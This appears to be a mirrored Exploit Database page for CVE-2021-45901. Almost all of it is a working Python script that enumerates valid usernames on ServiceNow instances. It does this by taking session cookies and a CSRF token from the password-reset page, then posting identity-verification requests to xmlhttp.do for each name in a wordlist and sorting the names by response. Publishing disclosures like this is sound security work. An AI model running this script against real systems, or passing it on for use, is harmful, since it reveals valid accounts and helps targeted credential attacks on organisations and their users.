ServiceNow – Username Enumeration

• Exploit Database
• 121 阅读

• 作者： Victor Hanna
  日期： 2022-02-16
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/50741/
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  # Exploit Title: ServiceNow - Username Enumeration # Google Dork: NA # Date: 12 February 2022 # Exploit Author: Victor Hanna (Trustwave SpiderLabs) # Author Github Page: https://9lyph.github.io/CVE-2021-45901/ # Vendor Homepage: https://www.servicenow.com/ # Software Link: https://docs.servicenow.com/bundle/orlando-servicenow-platform/page/product/mid-server/task/t_DownloadMIDServerFiles.html # Version: Orlando # Tested on: MAC OSX # CVE : CVE-2021-45901   #!/usr/local/bin/python3 # Author: Victor Hanna (SpiderLabs) # User enumeration script SNOW # Requires valid 1. JSESSION (anonymous), 2. X-UserToken and 3. CSRF Token   import requests import re import urllib.parse from colorama import init from colorama import Fore, Back, Style import sys import os import time   from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)   def banner(): print ("[+]********************************************************************************[+]") print ("| Author : Victor Hanna (9lyph)["+Fore.RED + "SpiderLabs" +Style.RESET_ALL+"]\t\t\t\t\t|") print ("| Decription: SNOW Username Enumerator|") print ("| Usage : "+sys.argv[0]+"|") print ("| Prequisite: \&apos;users.txt\&apos; needs to contain list of users|") print ("[+]********************************************************************************[+]")   def main(): os.system(&apos;clear&apos;) banner() proxies = { "http":"http://127.0.0.1:8080/", "https":"http://127.0.0.1:8080/" } url = "http://<redacted>/" try: # s = requests.Session() # s.verify = False r = requests.get(url, timeout=10, verify=False, proxies=proxies) JSESSIONID = r.cookies["JSESSIONID"] glide_user_route = r.cookies["glide_user_route"] startTime = (str(time.time_ns())) # print (startTime[:-6]) except requests.exceptions.Timeout: print ("[!] Connection to host timed out !") sys.exit(1) except requests.exceptions.ProxyError: print ("[!] Can&apos;t communicate with proxy !") sys.exit(1)   with open ("users.txt", "r") as f: usernames = f.readlines() print (f"[+] Brute forcing ....") for users in usernames: url = "http://<redacted>/$pwd_reset.do?sysparm_url=ss_default" headers1 = { "Host": "<redacted>", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Cookie": "glide_user_route="+glide_user_route+"; JSESSIONID="+JSESSIONID+"; __CJ_g_startTime=\&apos;"+startTime[:-6]+"\&apos;" }   try: # s = requests.Session() # s.verify = False r = requests.get(url, headers=headers1, timeout=20, verify=False, proxies=proxies) obj1 = re.findall(r"pwd_csrf_token", r.text) obj2 = re.findall(r"fireAll\(\"ck_updated\"", r.text) tokenIndex = (r.text.index(obj1[0])) startTime2 = (str(time.time_ns())) # userTokenIndex = (r.text.index(obj2[0])) # userToken = (r.text[userTokenIndex+23 : userTokenIndex+95]) token = (r.text[tokenIndex+45:tokenIndex+73]) url = "http://<redacted>/xmlhttp.do" headers2 = { "Host": "<redacted>", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "http://<redacted>/$pwd_reset.do?sysparm_url=ss default", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Content-Length": "786", "Origin": "http://<redacted>/", "Connection": "keep-alive", # "X-UserToken":""+userToken+"", "Cookie": "glide_user_route="+glide_user_route+";JSESSIONID="+JSESSIONID+"; __CJ_g_startTime=\&apos;"+startTime2[:-6]+"\&apos;" }   data = { "sysparm_processor": "PwdAjaxVerifyIdentity", "sysparm_scope": "global", "sysparm_want_session_messages": "true", "sysparm_name":"verifyIdentity", "sysparm_process_id":"c6b0c20667100200a5a0f3b457415ad5", "sysparm_processor_id_0":"fb9b36b3bf220100710071a7bf07390b", "sysparm_user_id_0":""+users.strip()+"", "sysparm_identification_number":"1", "sysparam_pwd_csrf_token":""+token+"", "ni.nolog.x_referer":"ignore", "x_referer":"$pwd_reset.do?sysparm_url=ss_default" }   payload_str = urllib.parse.urlencode(data, safe=":+")   except requests.exceptions.Timeout: print ("[!] Connection to host timed out !") sys.exit(1)   try: # s = requests.Session() # s.verify = False time.sleep(2) r = requests.post(url, headers=headers2, data=payload_str, timeout=20, verify=False, proxies=proxies) if "500" in r.text: print (Fore.RED + f"[-] Invalid user: {users.strip()}" + Style.RESET_ALL) f = open("enumeratedUserList.txt", "a+") f.write(Fore.RED + f"[-] Invalid user: {users.strip()}\n" + Style.RESET_ALL) f.close() elif "200" in r.text: print (Fore.GREEN + f"[+] Valid user: {users.strip()}" + Style.RESET_ALL) f = open("enumeratedUserList.txt", "a+") f.write(Fore.GREEN + f"[+] Valid user: {users.strip()}\n" + Style.RESET_ALL) f.close() else: print (Fore.RED + f"[-] Invalid user: {users.strip()}" + Style.RESET_ALL) f = open("enumeratedUserList.txt", "a+") f.write(Fore.RED + f"[-] Invalid user: {users.strip()}\n" + Style.RESET_ALL) f.close() except KeyboardInterrupt: sys.exit() except requests.exceptions.Timeout: print ("[!] Connection to host timed out !") sys.exit(1) except Exception as e: print (Fore.RED + f"Unable to connect to host" + Style.RESET_ALL)   if __name__ == "__main__": main ()